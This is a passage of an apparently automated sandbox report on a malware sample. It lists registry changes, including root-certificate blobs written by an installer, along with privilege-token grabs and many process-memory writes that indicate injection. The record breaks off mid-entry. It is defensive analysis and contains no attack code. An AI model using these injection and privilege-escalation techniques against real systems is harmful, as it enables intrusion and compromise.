\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-257790753-2419383948-818201544-1000\02zzhnbarorquhij svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02tnsfuuhvhvnzmz\DeviceId = "<Data LastUpdatedTime=\"1636388486\"><User username=\"02TNSFUUHVHVNZMZ\"><HardwareInfo BoundTime=\"1636388496\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02tejjqctucoyxdc\AppIdList = "{AFDA72BF-3409-413A-B54E-2AB8D66A7826};" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02tnsfuuhvhvnzmz" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC\URL = "https://login.live.com" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-257790753-2419383948-818201544-1000\02uinvflsbxivzcq\AppIdList svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0" svchost.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5b934b42-522b-4c34-bbfe-37a3ef7b9c90}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f8278c54-a712-415b-b593-b77a2be0dda9}\Instance\ Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-257790753-2419383948-818201544-1000\{69BD9728-09F0-41AD-8482-AABBF546CCE9} Calculator.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 5c000000010000000400000000080000190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc36200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8040000000100000010000000d474de575c39b2d39c8583c5c065498a2000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a installer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 7472 PING.EXE 7896 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe 4176 Uo4Xo4csCcVg5pgA9hXuY4s5.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3240 Explorer.EXE -
Suspicious behavior: MapViewOfSection 7 IoCs
pid Process 3324 Dc2cGIo8H66p8bqWXY8d5sy2.exe 3324 Dc2cGIo8H66p8bqWXY8d5sy2.exe 3324 Dc2cGIo8H66p8bqWXY8d5sy2.exe 5568 e8sIHJtYYbh6Npgujz9tWguG.exe 5344 cmmon32.exe 5344 cmmon32.exe 1560 8F9A.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 8540 msedge.exe 8540 msedge.exe 8540 msedge.exe 8540 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2268 svchost.exe Token: SeCreatePagefilePrivilege 2268 svchost.exe Token: SeShutdownPrivilege 2268 svchost.exe Token: SeCreatePagefilePrivilege 2268 svchost.exe Token: SeShutdownPrivilege 2268 svchost.exe Token: SeCreatePagefilePrivilege 2268 svchost.exe Token: SeShutdownPrivilege 2708 svchost.exe Token: SeCreatePagefilePrivilege 2708 svchost.exe Token: SeCreateTokenPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeAssignPrimaryTokenPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeLockMemoryPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeIncreaseQuotaPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeMachineAccountPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeTcbPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeSecurityPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeTakeOwnershipPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeLoadDriverPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeSystemProfilePrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeSystemtimePrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeProfSingleProcessPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeIncBasePriorityPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeCreatePagefilePrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeCreatePermanentPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeBackupPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeRestorePrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeShutdownPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeDebugPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeAuditPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeSystemEnvironmentPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeChangeNotifyPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeRemoteShutdownPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeUndockPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeSyncAgentPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeEnableDelegationPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeManageVolumePrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeImpersonatePrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeCreateGlobalPrivilege 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: 31 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: 32 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: 33 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: 34 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: 35 5028 o6zEWa0CtF1KjvBgbb_Tn4_k.exe Token: SeDebugPrivilege 3324 Dc2cGIo8H66p8bqWXY8d5sy2.exe Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeDebugPrivilege 648 VTxBU9kvc_11oiNVNgZO3Swz.exe Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeRestorePrivilege 5672 mshta.exe Token: SeBackupPrivilege 5672 mshta.exe Token: SeBackupPrivilege 5672 mshta.exe Token: SeDebugPrivilege 5992 AdvancedRun.exe Token: SeDebugPrivilege 6004 AdvancedRun.exe Token: SeImpersonatePrivilege 6004 AdvancedRun.exe Token: SeImpersonatePrivilege 5992 AdvancedRun.exe Token: SeTcbPrivilege 6136 svchost.exe Token: SeTcbPrivilege 6136 svchost.exe Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE Token: SeCreatePagefilePrivilege 3240 Explorer.EXE Token: SeShutdownPrivilege 3240 Explorer.EXE -
Suspicious use of FindShellTrayWindow 5 IoCs
pid Process 6712 setup.tmp 2056 installer.exe 8540 msedge.exe 4240 Calculator.exe 4240 Calculator.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3240 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2708 wrote to memory of 3380 2708 svchost.exe 82 PID 2708 wrote to memory of 3380 2708 svchost.exe 82 PID 1960 wrote to memory of 4176 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 83 PID 1960 wrote to memory of 4176 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 83 PID 1960 wrote to memory of 2240 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 85 PID 1960 wrote to memory of 2240 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 85 PID 1960 wrote to memory of 2240 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 85 PID 1960 wrote to memory of 1432 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 89 PID 1960 wrote to memory of 1432 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 89 PID 1960 wrote to memory of 1432 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 89 PID 1960 wrote to memory of 5008 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 88 PID 1960 wrote to memory of 5008 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 88 PID 1960 wrote to memory of 5008 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 88 PID 1960 wrote to memory of 4620 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 87 PID 1960 wrote to memory of 4620 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 87 PID 1960 wrote to memory of 4620 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 87 PID 1960 wrote to memory of 3324 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 86 PID 1960 wrote to memory of 3324 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 86 PID 1960 wrote to memory of 3324 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 86 PID 1960 wrote to memory of 2768 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 92 PID 1960 wrote to memory of 2768 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 92 PID 1960 wrote to memory of 2768 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 92 PID 1960 wrote to memory of 1036 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 90 PID 1960 wrote to memory of 1036 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 90 PID 1960 wrote to memory of 1036 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 90 PID 1960 wrote to memory of 4616 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 102 PID 1960 wrote to memory of 4616 1960 022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe 102 PID 1960 wrote to memory of 4616 1960 